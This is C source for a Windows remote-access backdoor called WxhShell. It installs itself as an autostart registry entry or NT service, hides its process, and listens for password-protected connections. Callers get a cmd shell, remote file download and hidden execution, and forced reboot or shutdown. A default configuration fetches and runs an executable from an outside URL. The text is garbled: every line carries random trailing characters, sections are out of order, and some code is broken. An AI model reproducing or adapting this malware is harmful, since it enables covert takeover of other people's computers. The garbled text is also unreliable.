    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ]@8=e'V  
    if(Boot(SHUTDOWN)) hYWWvJ)S  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); T=R94  
    else { X^.r@tT  
    closesocket(wsh); -+PPz?0  
    ExitThread(0); c''O+,L1+  
    } rSJ}qRXwU  
    break; =VY4y]V  
    } {VNeh  
  // 获取shell Aj`4uFhiL  
  case 's': {  C|lMXp\*  
    CmdShell(wsh); unX^MPpw  
    closesocket(wsh); }jk^M|Z"Oz  
    ExitThread(0); hT]p8m aRZ  
    break; {(q U n  
  } Bhs`Y/Ls-  
  // 退出 Wey\GQ`"8  
  case 'x': { 'P Yl%2  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 3)-#yOr  
    CloseIt(wsh); CTP%  
    break; cq=R  
    } 2 sOc]L:9  
  // 离开 4dok/ +Ec  
  case 'q': { Qdn:4yk  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); )Z_i[1V  
    closesocket(wsh); uB^]5sqfk  
    WSACleanup(); nx +& {hn(  
    exit(1); *7vPU:Q[  
    break; 6,h<0j{  
        } jF5JpyOc  
  } &%bX&;ECzf  
  } 'q-h kN  
.F6#s  
  // 提示信息 g Q9ff,  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 6\Z^L1973  
} [T^6Kzz  
  } a,E;R$[!  
jCl[!L5/1  
  return; TSk6Q'L\v  
} b7,qzh  
' FK"-)s  
// shell模块句柄 Iymz2  
int CmdShell(SOCKET sock) evR=Z\ _  
{ W6iIL:sp  
STARTUPINFO si; qXF"1f_+  
ZeroMemory(&si,sizeof(si)); :ox CF0Y  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; lt4UNJ3w  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; BxqCV%9o  
PROCESS_INFORMATION ProcessInfo; Rta P+6'X  
char cmdline[]="cmd"; MDq@:t  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); +vnaEy  
  return 0; KqUFf@W  
} 1_QO>T'  
fI|1@e1  
// 自身启动模式 ?c+;  
int StartFromService(void) CMr`n8M  
{ "<(~  
typedef struct vuP1gem  
{ '8JaD6W9S  
  DWORD ExitStatus; 'YeJGzsJp  
  DWORD PebBaseAddress; TGLXvP& \  
  DWORD AffinityMask; re!CF8 q  
  DWORD BasePriority; QHh#O+by#  
  ULONG UniqueProcessId; AK!G#ug  
  ULONG InheritedFromUniqueProcessId; UGMdWq  
}   PROCESS_BASIC_INFORMATION; 0#7 dm9  
ex1ecPpN  
PROCNTQSIP NtQueryInformationProcess; L}mhMxOTi  
x9e 9$ww}  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; vKC>t95  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 4kM<L}J#  
'yNp J'  
  HANDLE             hProcess; P:v y  
  PROCESS_BASIC_INFORMATION pbi; O+N-x8W{  
<gy'@w?  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 0d2%CsMS"D  
  if(NULL == hInst ) return 0; tFQFpbI  
z|2liQrf+  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); KOQTvJ_#  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Bz{ g4!ku  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Vh8uE  
5-*]PAC  
  if (!NtQueryInformationProcess) return 0; 9wC; m:  
Cw}\t!*!  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); \) ;rOqh  
  if(!hProcess) return 0; X@)lPr$a  
2$91+N*w9  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 1rEP)66N  
Xwi&uyvU&  
  CloseHandle(hProcess); 9PAp*`J@kr  
UPYM~c+}  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); bq O"k t  
if(hProcess==NULL) return 0; "J#:PfJ%  
"ir*;|  
HMODULE hMod; EHZSM5hu  
char procName[255]; "Tv7*3>  
unsigned long cbNeeded; YUE[eD/  
qo;\dp1  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 8(}sZ)6  
bv/b<N@4?$  
  CloseHandle(hProcess); wO#+8js  
KB = z{g  
if(strstr(procName,"services")) return 1; // 以服务启动 ]YP?bP,:  
n1Jz49[r  
  return 0; // 注册表启动 '}u31V"SS  
} Pa}vmn1$  
v(iUo&Ge  
// 主模块 <B`V  
int StartWxhshell(LPSTR lpCmdLine) 4lA+V,#  
{ K^H t$04  
  SOCKET wsl; lI 1lP 1  
BOOL val=TRUE; lNb\^b  
  int port=0; ={^#E?  
  struct sockaddr_in door; oK6lCGM5  
tOw 0(-:iq  
  if(wscfg.ws_autoins) Install(); S2)S/ nf  
_LNPB$P  
port=atoi(lpCmdLine); 7;NV 1RV  
jvQ"cs$.  
if(port<=0) port=wscfg.ws_port; }H=OVbQor  
(Y([^N q  
  WSADATA data; J~q+G  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; wY#mL1dF  
YW<2:1A|  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   [Jo TWouNU  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); WFP\;(YV  
  door.sin_family = AF_INET; i1\2lh$  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); rLxX^[Fp3  
  door.sin_port = htons(port); _GqE'VX  
1!3kAcBP  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { +`8)U3u0  
closesocket(wsl); fP58$pwu  
return 1; (, "E9.  
} $8k_M   
keskD  
  if(listen(wsl,2) == INVALID_SOCKET) { NrcCUZ .:N  
closesocket(wsl); @'@6vC  
return 1; SWpUVZyd  
} \BXVWE|  
  Wxhshell(wsl); OU@x1G{Cy  
  WSACleanup(); V%lGJ]ZEa  
:N*T2mP  
return 0; C`wI6!  
e6lOmgHn5  
} <R>z;2c  
070IBAk}_  
// 以NT服务方式启动 )1Nnn  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) RFY!o<   
{ -G#k/Rz6  
DWORD   status = 0; .E#Sm?gK  
  DWORD   specificError = 0xfffffff; 5Q`n6x|  
(JW?azU  
  serviceStatus.dwServiceType     = SERVICE_WIN32; -P>=WZu  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; :-La $I>  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 4rG 7\  
  serviceStatus.dwWin32ExitCode     = 0; 1m;*fs  
  serviceStatus.dwServiceSpecificExitCode = 0; ,hLSRj{  
  serviceStatus.dwCheckPoint       = 0; V(LFH9.Mp  
  serviceStatus.dwWaitHint       = 0; .A)Un/k7  
pm~;:#z7  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); N+qLxk  
  if (hServiceStatusHandle==0) return; Aq%^>YAp  
@T1+b"TC  
status = GetLastError(); ?3TV:fx"X  
  if (status!=NO_ERROR) ?VQLY=?  
{ c8tC3CrKp=  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; h;qy5KS  
    serviceStatus.dwCheckPoint       = 0; 7CM03R[P  
    serviceStatus.dwWaitHint       = 0; h6y4Ii  
    serviceStatus.dwWin32ExitCode     = status; ><Z3<7K9  
    serviceStatus.dwServiceSpecificExitCode = specificError; n~u3  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); {$YD-bqY  
    return; ih |Ky+!  
  } F LI8r:  
Tw;qY  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; WwtE=od  
  serviceStatus.dwCheckPoint       = 0; yr2L  
  serviceStatus.dwWaitHint       = 0; \&&(ytL  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 9zYiG3 d  
} NjN?RB/5  
L8wcH  
// 处理NT服务事件,比如:启动、停止 @[tV_Z%,b  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 8sIA;r%S  
{ Q4Fq=kTE  
switch(fdwControl) UvJuOh+  
{ &v5.;8u+OV  
case SERVICE_CONTROL_STOP: _iJXp0g  
  serviceStatus.dwWin32ExitCode = 0; 8KwC wv  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ;'QY<,p[e  
  serviceStatus.dwCheckPoint   = 0; e ]o'i;I  
  serviceStatus.dwWaitHint     = 0; =yX&p:-&  
  { igB rmaY'  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); o 7W Kh=  
  } 4:&qT Y)H  
  return; #z!Hb&Qi\  
case SERVICE_CONTROL_PAUSE: RB7AI !'a?  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; $>"e\L4Kp  
  break; `1bX.7K43  
case SERVICE_CONTROL_CONTINUE: C]yQ "b  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 5%?b5(mnD  
  break; RefRoCD1  
case SERVICE_CONTROL_INTERROGATE: UlNfI}#X  
  break; >q@Sd  
}; MiH}VfI  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 6w"( y~c1  
} @D~+D@i$TW  
bLEATT[  
// 标准应用程序主函数 _gm?FxV:  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) n<<=sj$\!  
{ )w2K&Zr0  
J4v0O="  
// 获取操作系统版本 ct}%Mdg  
OsIsNt=GetOsVer(); qJ+52U|z  
GetModuleFileName(NULL,ExeFile,MAX_PATH); W .`Xm(y  
MziZN^(  
  // 从命令行安装 H >:4MY  
  if(strpbrk(lpCmdLine,"iI")) Install(); H8$<HhuZM  
MuoctW  
  // 下载执行文件 ;=-j;x  
if(wscfg.ws_downexe) { 6L,lq;  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) {(z(NgXG/  
  WinExec(wscfg.ws_filenam,SW_HIDE); UM( l%  
} jc&/}o$K  
}\f(qw  
if(!OsIsNt) { +rsl( 08FY  
// 如果时win9x,隐藏进程并且设置为注册表启动 g 6VD_  
HideProc(); J, 0pe\5  
StartWxhshell(lpCmdLine); @>G&7r:U  
} o"#TZB+k  
else TD{=L*{+  
  if(StartFromService()) 2:iYYRrg  
  // 以服务方式启动 |ck ZyDA  
  StartServiceCtrlDispatcher(DispatchTable); & &" 'dL  
else |O(-CDQe  
  // 普通方式启动 t1w2u.]  
  StartWxhshell(lpCmdLine); UOWIiu  
w}j6 .r  
return 0; i}`_H^  
} cK[R1 ReH  
B)rr7B  
PW*;Sp  
,rZn`9  
=========================================== 5:%..e`T  
B6ed,($&  
sq~+1(X  
ESD<8 OR  
9p2>`L  
6Lg!L odu  
" Any Zi'  
]l=O%Ev  
#include <stdio.h> eu}Fd@GO  
#include <string.h> t=Z&eKDC  
#include <windows.h> T9z4W]T  
#include <winsock2.h> fW.GNX8  
#include <winsvc.h> ,@Fgr(?'`>  
#include <urlmon.h> 9fP) Fwih  
=R&)hlm  
#pragma comment (lib, "Ws2_32.lib") }dX/Y /  
#pragma comment (lib, "urlmon.lib") ~v2V`lxh  
r(: 8!=~K  
#define MAX_USER   100 // 最大客户端连接数 w%3Fg~Up  
#define BUF_SOCK   200 // sock buffer \E$1lc  
#define KEY_BUFF   255 // 输入 buffer ls"b#eFC#  
%2Epgh4?  
#define REBOOT     0   // 重启 e&$p-0DmT|  
#define SHUTDOWN   1   // 关机 ua`6M  
l:Dn3Q  
#define DEF_PORT   5000 // 监听端口 TBZ-17+  
731h ~x!u  
#define REG_LEN     16   // 注册表键长度 (0E U3w?]  
#define SVC_LEN     80   // NT服务名长度 Vk-W8[W 7  
&Y,Q>bu  
// 从dll定义API -F"d0a,  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); / R_ u\?k(  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ^:4L6  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); (Sth:{;  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); uxa=KM1H  
Q[J [=  
// wxhshell配置信息 _0,"vFdj  
struct WSCFG { Es'-wr\Hm  
  int ws_port;         // 监听端口 :be:-b%K  
  char ws_passstr[REG_LEN]; // 口令 (R_CUH  
  int ws_autoins;       // 安装标记, 1=yes 0=no ?R;nL{  
  char ws_regname[REG_LEN]; // 注册表键名 zmf"I[)  
  char ws_svcname[REG_LEN]; // 服务名 /Hv* K&}M  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ,b<9?PM  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 of8mwnZR  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 5<89Af&&K8  
int ws_downexe;       // 下载执行标记, 1=yes 0=no cMDRWh  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Ia=_78MgZ  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 <S]KaDu^  
umQi  
}; HEBqv+bG  
Z)mX,=p  
// default Wxhshell configuration M#OH Y *  
struct WSCFG wscfg={DEF_PORT, /Q?~Q0{)es  
    "xuhuanlingzhe", dgS4w@)@V;  
    1, )xB$LJM8  
    "Wxhshell", i?F[||O"$  
    "Wxhshell", =~J"kC  
            "WxhShell Service", Ovv ny$  
    "Wrsky Windows CmdShell Service", XtCoX\da  
    "Please Input Your Password: ", %_R$K#T^,  
  1, *(k%MTG  
  "http://www.wrsky.com/wxhshell.exe", y7/PDB\he  
  "Wxhshell.exe" }0QN[$H!  
    }; 4,2(nYF  
* [tc  
// 消息定义模块 6|,e%  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; <tFSF%vG=  
char *msg_ws_prompt="\n\r? for help\n\r#>"; um;:fT+  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; >SvDgeg_7f  
char *msg_ws_ext="\n\rExit."; UqN{JG:#.  
char *msg_ws_end="\n\rQuit."; \V= &&(n#  
char *msg_ws_boot="\n\rReboot..."; N~;*bvW{  
char *msg_ws_poff="\n\rShutdown..."; 6sPk:5  
char *msg_ws_down="\n\rSave to "; \e<mSR  
T^~)jpkw  
char *msg_ws_err="\n\rErr!"; <eY %sFq,  
char *msg_ws_ok="\n\rOK!"; 75ZH  
cVp[ Z#B  
char ExeFile[MAX_PATH]; H+a~o=/cR  
int nUser = 0; k({2yc#RD&  
HANDLE handles[MAX_USER]; q(IZJGb  
int OsIsNt; m}98bw  
rFo\+//  
SERVICE_STATUS       serviceStatus; }sv!=^}BY3  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; h40'@u^W  
5MxH)~VQoM  
// 函数声明 CWs: l3_yn  
int Install(void); || [89G  
int Uninstall(void); }'%^jt[3  
int DownloadFile(char *sURL, SOCKET wsh); SSE3tcRRl  
int Boot(int flag); pprejUR  
void HideProc(void); czI{qi5N  
int GetOsVer(void); wf?u (3/%  
int Wxhshell(SOCKET wsl); n@ 4@,  
void TalkWithClient(void *cs); 4r\*@rq  
int CmdShell(SOCKET sock); tQrS3Hz'nA  
int StartFromService(void); .`,F  
int StartWxhshell(LPSTR lpCmdLine); Uo2+:p  
Vvyj  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); MM#i t=u  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); mzGjRl=O  
1?(cmXj  
// 数据结构和表定义 ;7rd;zJ  
SERVICE_TABLE_ENTRY DispatchTable[] = 4QE=f(u;h  
{ 7{pIPmJ  
{wscfg.ws_svcname, NTServiceMain}, /HkFlfPd  
{NULL, NULL} bni) Qw  
}; Pp+~Cir  
g<$. - g  
// 自我安装 (? \?it-  
int Install(void) }taLk@T  
{ y}N&/}M:}8  
  char svExeFile[MAX_PATH]; S ZlC4=6c  
  HKEY key; j$Nf%V 6Y  
  strcpy(svExeFile,ExeFile); (S|a 9#  
(YwalfG {C  
// 如果是win9x系统,修改注册表设为自启动 R2rsJ  
if(!OsIsNt) { 1"?]= j:  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { :Hk_8J  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); $2KK:{VX  
  RegCloseKey(key); >GXXjAIu/  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { /Pvk),ca  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); nL+p~Hi  
  RegCloseKey(key); o'Wz*oY))\  
  return 0; 5;mRGY  
    } KY$k`f6?P  
  } i5"5&r7r  
} BFWi(58q  
else { WuM C^  
r?p[3JJ;mG  
// 如果是NT以上系统,安装为系统服务 EyY],W1 Y  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ^gOww6$<  
if (schSCManager!=0) $W&:(&  
{ zBY~lNB  
  SC_HANDLE schService = CreateService t<638`{kk  
  ( q$gz_nVq,b  
  schSCManager, nIn2 *r  
  wscfg.ws_svcname, R`#W wx>b  
  wscfg.ws_svcdisp, oQT2S>cm^  
  SERVICE_ALL_ACCESS, B>z?ClH$R  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , x7dEo%j  
  SERVICE_AUTO_START, ?[)yGRzO2  
  SERVICE_ERROR_NORMAL, >;4!O%F  
  svExeFile, v vq/  
  NULL, p|3b/plZ  
  NULL, l!?yu]Yon  
  NULL, !`&\Lx_  
  NULL, A1),el-^5  
  NULL NF+<#*1  
  ); FI"HJwAs  
  if (schService!=0) L0Y0&;y|R  
  { l%~lz[  
  CloseServiceHandle(schService); |sIr?RL{C  
  CloseServiceHandle(schSCManager); 3K>gz:dt  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); e[1>(l}Ss  
  strcat(svExeFile,wscfg.ws_svcname); 6e&$l-  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { "AC^ rz~U  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); "(`2eXRn  
  RegCloseKey(key); c2 Aps  
  return 0; (ChD]PWQ  
    } E.`6oX\L|  
  } !_~UvxM+  
  CloseServiceHandle(schSCManager); ST Z]8cw  
} m#e*c [*G  
} V`#.7uUP  
r37[)kJ  
return 1; 8 #}D : (  
} tfYB_N  
_=EKXE)&}  
// 自我卸载 C ^w)|2o}  
int Uninstall(void) 5o)Y$>T0  
{ 8Pmdk1 ~  
  HKEY key; SZhOm  
h Dk)Qg  
if(!OsIsNt) { ^/@jwZ  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { -Z0+oU(?YE  
  RegDeleteValue(key,wscfg.ws_regname); T2FE+A]n9  
  RegCloseKey(key); 6C [E  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { *?t%0){  
  RegDeleteValue(key,wscfg.ws_regname); A"uULfnk  
  RegCloseKey(key); pOT7;-#n  
  return 0; &GhPvrxI?  
  } CnISe^h  
} )Si2 u5  
} Ps4 ZFX  
else { wN=;i#  
z6*<V5<7  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 3j Z6kfj  
if (schSCManager!=0) Y32 "N[yw  
{ $}GTG'*.  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); F;q#&  
  if (schService!=0) Kibr ]w  
  { a5jL7a?6]  
  if(DeleteService(schService)!=0) { J00VTb`  
  CloseServiceHandle(schService); o!c] (  
  CloseServiceHandle(schSCManager); !do?~$Og  
  return 0; +B}0=Ex$t  
  } ][&9]omB  
  CloseServiceHandle(schService); LWfqEL -  
  } !bnyJA  
  CloseServiceHandle(schSCManager); r;&>iX4B  
} U_B(( Z(g  
} !RW `3  
@? c2)0  
return 1; *L4`$@l8  
} )h{ ]k=  
QDx$==Fo  
// 从指定url下载文件 )e|=mtp  
int DownloadFile(char *sURL, SOCKET wsh) Q~{H@D`<  
{ em{(4!W>  
  HRESULT hr; P{Lf5V9# <  
char seps[]= "/"; 2c5-)Dt)T  
char *token; !C4!LZ0A  
char *file; X;oa[!k  
char myURL[MAX_PATH]; 9$ qm>,o  
char myFILE[MAX_PATH]; (kv?33  
_)T5lEFl=  
strcpy(myURL,sURL); ml`8HXK0  
  token=strtok(myURL,seps); FRu]kZv2  
  while(token!=NULL) 'o_:^'c  
  { iB[~U3  
    file=token; 0Hxmm@X2  
  token=strtok(NULL,seps); jho**TQ P  
  } Om;&_!i  
!%)F J:p  
GetCurrentDirectory(MAX_PATH,myFILE); |yEa5rd?W  
strcat(myFILE, "\\"); BZ54*\t  
strcat(myFILE, file); {X(:jAy  
  send(wsh,myFILE,strlen(myFILE),0); <r#eL39I  
send(wsh,"...",3,0); V w||!d  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); m,UGWR  
  if(hr==S_OK) -i yyn ^|  
return 0; ngohtB^]  
else 2;a(8^n  
return 1; jRSUp E8  
+Z M)bbB  
} Qv,"($n\  
?']5dD  
// 系统电源模块 l*\y  
int Boot(int flag) PYbVy<xc  
{ i0$Bx>  
  HANDLE hToken; *t[. =_v  
  TOKEN_PRIVILEGES tkp; E :9"cxx  
#S&Tkip]"W  
  if(OsIsNt) { FKNMtp[`  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ydRC1~f0  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); nD5 gP  
    tkp.PrivilegeCount = 1; Qham^  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; +t5U.No  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 26&'X+n&  
if(flag==REBOOT) { &0 >Loja`^  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) R}^~^#  
  return 0; 6f')6X'x  
} "#[!/\=?:  
else { MjlP+; !  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Q8!) !r%  
  return 0; $hivlI-7Ko  
} 4RSHZAJg  
  } b2b^1{@h;v  
  else { e/0<[s*#Q  
if(flag==REBOOT) { M`rl!Ci#  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 91 =OF*w  
  return 0; n2)q}_d  
} 3s/H2f z  
else { F a'k0/_j  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 3;S, 3  
  return 0; [0"'T[ok  
} O+y-}7YX  
} Vn*tp bz  
> ;/l)qk,  
return 1; Zt.'K(]2h  
} Y. ,Kl~  
xx[9~z=d  
// win9x进程隐藏模块 ZI=%JU(  
void HideProc(void) "@?? Fw!  
{ 'nXl>  
C(00<~JC  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); S30?VG9U0f  
  if ( hKernel != NULL ) kS bu]AB  
  { UrqRx?#  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); +=O5YR!{  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 7;KwLT9  
    FreeLibrary(hKernel); zIh ['^3.n  
  } T6 '`l?H`;  
bbrXgQ`s+w  
return; c-B cA  
} ^$b Y,CE  
WZ.@UN,  
// 获取操作系统版本 zuUW|r  
int GetOsVer(void) !o:f$6EA~C  
{ ]H`1F1=  
  OSVERSIONINFO winfo; 6@rMtQfI  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Ney/[3 A  
  GetVersionEx(&winfo); 8C*c{(4  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 3AU;>D^5  
  return 1; Kx>qz.wwI?  
  else Pi]19boM.  
  return 0; xai*CY@cQ  
} _f$^%?^  
YB-h.1T-  
// 客户端句柄模块 d3D] k,  
int Wxhshell(SOCKET wsl) \ExMk<y_&  
{ r"P|dlV-  
  SOCKET wsh; eA E`# t  
  struct sockaddr_in client; 7S}_F^  
  DWORD myID;  R}O_[  
$<}$DH_Y  
  while(nUser<MAX_USER) '.:z&gSqx0  
{ `{dm;j5/y  
  int nSize=sizeof(client); &J+CSv,39  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); wne,e's}   
  if(wsh==INVALID_SOCKET) return 1; LDPUD'  
Xu%'Z".>:  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Lm%:K]X  
if(handles[nUser]==0) Tf'hc]`vS  
  closesocket(wsh); G3Z)Z) N  
else %J+E/  
  nUser++; KrQ1GepJ  
  }  # 1OOU  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); e)d`pQ6  
<g$~1fa  
  return 0; !2ZF(@C /  
} |olA9mp|]  
nAv#?1cjz  
// 关闭 socket aDU<wxnSvO  
void CloseIt(SOCKET wsh) |?,A]|j  
{ 1q7|OWFT  
closesocket(wsh); f4fvrL  
nUser--; N sXHO  
ExitThread(0); 8WXQ Oo8  
} PvPOU"  
]n6#VTz*  
// 客户端请求句柄 ]s<[D$ <,  
void TalkWithClient(void *cs) t'n pG}`tE  
{ fU/>z]K  
.P8&5i)'P,  
  SOCKET wsh=(SOCKET)cs; 4h|c<-`>t  
  char pwd[SVC_LEN]; pR=@S>!|  
  char cmd[KEY_BUFF]; Z?h~{Mg  
char chr[1]; R!}H;[c  
int i,j; 6^]+[q}3  
!|^|,"A)  
  while (nUser < MAX_USER) { T&6l$1J  
<M+|rD]oc  
if(wscfg.ws_passstr) { %)1y AdG 8  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); CsGx@\jN  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); >;e~WF>+K  
  //ZeroMemory(pwd,KEY_BUFF); Kp%2k^U  
      i=0; G<65H+)M\  
  while(i<SVC_LEN) { >qnko9V  
wW>A_{Y  
  // 设置超时 M:Pc,  
  fd_set FdRead; xF!,IKlBBp  
  struct timeval TimeOut; ag [ZW  
  FD_ZERO(&FdRead); akp-zn&je  
  FD_SET(wsh,&FdRead); =$'6(aDH  
  TimeOut.tv_sec=8; 01t1Z}!y  
  TimeOut.tv_usec=0; +$ 'Zf0U  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 'DP1,7  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 75T%g!c#  
(7wc*#}  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); M\uiq38  
  pwd=chr[0]; {$0mwAOH "  
  if(chr[0]==0xd || chr[0]==0xa) { DX#Nf""Pw  
  pwd=0; <cps2*'  
  break; em%4Ap  
  } we;-~A5J  
  i++; n] ._uza  
    } xQ7l~O b  
fDv2JdiU  
  // 如果是非法用户,关闭 socket V5+=e^pa2  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); s}vAS~~2L3  
} j'Fpjt"&=  
<sb~ ^B  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); =W(Q34  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0);  dm\F  
W!Gq.M  
while(1) { 8'HEms  
o_izl \  
  ZeroMemory(cmd,KEY_BUFF); XWBA^|-N  
9}rS(/@ }  
      // 自动支持客户端 telnet标准   ^UP`%egR  
  j=0; *7uH-u"5d  
  while(j<KEY_BUFF) { P78g /p T  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); @a! #G  
  cmd[j]=chr[0]; Dj"F\j 1  
  if(chr[0]==0xa || chr[0]==0xd) { Wf+cDpK  
  cmd[j]=0; $0W|26;  
  break; g2+2%6m0  
  } n1Yp1"2b[  
  j++; h79}qU  
    } Ouk ^O}W6  
q }3`|'3  
  // 下载文件 Kg{+T`  
  if(strstr(cmd,"http://")) { is?{MJZ_  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); pC#E_*49  
  if(DownloadFile(cmd,wsh)) \"7*{L:  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); g9 .Q<JwO  
  else .73X3`P25  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); j*|VctM  
  } T^zXt?  
  else { S\CCrje  
